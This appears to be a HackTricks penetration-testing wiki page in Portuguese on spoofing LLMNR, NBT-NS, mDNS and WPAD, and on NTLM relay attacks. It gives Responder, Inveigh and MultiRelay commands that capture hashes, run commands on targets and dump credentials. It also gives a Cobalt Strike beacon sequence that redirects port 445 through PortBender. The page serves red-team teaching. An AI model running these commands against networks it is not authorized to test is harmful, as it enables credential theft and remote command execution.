Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Apoie o HackTricks

Protocolos de Rede

Protocolos de Resolução de Host Local

  • LLMNR, NBT-NS e mDNS:

  • A Microsoft e outros sistemas operacionais utilizam LLMNR e NBT-NS para resolução de nomes locais quando o DNS falha. Da mesma forma, os sistemas Apple e Linux utilizam mDNS.

  • Esses protocolos são suscetíveis a interceptação e spoofing devido à sua natureza de difusão não autenticada sobre UDP.

  • O Responder pode ser usado para se passar por serviços enviando respostas falsificadas para hosts que consultam esses protocolos.

  • Mais informações sobre a impersonação de serviços usando o Responder podem ser encontradas aqui.

Protocolo de Descoberta Automática de Proxy da Web (WPAD)

  • O WPAD permite que os navegadores descubram automaticamente as configurações de proxy.

  • A descoberta é facilitada via DHCP, DNS, ou fallback para LLMNR e NBT-NS se o DNS falhar.

  • O Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.

Responder para Envenenamento de Protocolo

  • O Responder é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base nos tipos de consulta, visando principalmente os serviços SMB.

  • Ele vem pré-instalado no Kali Linux, configurável em /etc/responder/Responder.conf.

  • O Responder exibe hashes capturados na tela e os salva no diretório /usr/share/responder/logs.

  • Ele suporta tanto IPv4 quanto IPv6.

  • A versão do Windows do Responder está disponível aqui.

Executando o Responder

  • Para executar o Responder com as configurações padrão: responder -I <Interface>

  • Para sondagem mais agressiva (com potenciais efeitos colaterais): responder -I <Interface> -P -r -v

  • Técnicas para capturar desafios/respostas NTLMv1 para facilitar a quebra: responder -I <Interface> --lm --disable-ess

  • A impersonação do WPAD pode ser ativada com: responder -I <Interface> --wpad

  • As solicitações NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: responder.py -I <interface> -Pv

Envenenamento DHCP com Responder

  • Falsificar respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.

  • Requer conhecimento preciso da configuração da rede alvo.

  • Executando o ataque: ./Responder.py -I eth0 -Pdv

  • Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar a interrupção da rede.

Capturando Credenciais com o Responder

  • O Responder se passará por serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta autenticar-se contra os serviços falsificados.

  • Tentativas podem ser feitas para rebaixar para NetNTLMv1 ou desativar ESS para facilitar a quebra de credenciais.

É crucial observar que a aplicação dessas técnicas deve ser feita de forma legal e ética, garantindo autorização adequada e evitando interrupções ou acessos não autorizados.

Inveigh

Inveigh é uma ferramenta para testadores de penetração e equipes vermelhas, projetada para sistemas Windows. Oferece funcionalidades semelhantes ao Responder, realizando spoofing e ataques de homem-no-meio. A ferramenta evoluiu de um script PowerShell para um binário C#, com Inveigh e InveighZero como as principais versões. Parâmetros e instruções detalhadas podem ser encontrados na wiki.

Inveigh pode ser operado através do PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou executado como um binário C#:

Inveigh.exe

Ataque de Relevo NTLM

Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se bem-sucedido. Pré-requisitos principais incluem:

  • O usuário autenticado deve ter acesso de Administrador Local no host de retransmissão.

  • A assinatura SMB deve estar desativada.

Encaminhamento e Tunelamento da Porta 445

Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como PortBender ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de administrador local está disponível para carregamento de driver.

Configuração e operação do PortBender no Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Outras Ferramentas para Ataque de Revezamento NTLM

  • Metasploit: Configurado com proxies, detalhes do host local e remoto.

  • smbrelayx: Um script Python para relé de sessões SMB e execução de comandos ou implantação de backdoors.

  • MultiRelay: Uma ferramenta da suíte Responder para relé de usuários específicos ou todos os usuários, executar comandos ou extrair hashes.

Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso de rede indireto.

Operação do MultiRelay

O MultiRelay é executado a partir do diretório /usr/share/responder/tools, visando IPs ou usuários específicos.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Forçar Logins NTLM

No Windows, você pode ser capaz de forçar algumas contas privilegiadas a se autenticarem em máquinas arbitrárias. Leia a seguinte página para aprender como:

Force NTLM Privileged Authentication

Referências

Suporte ao HackTricks

Last updated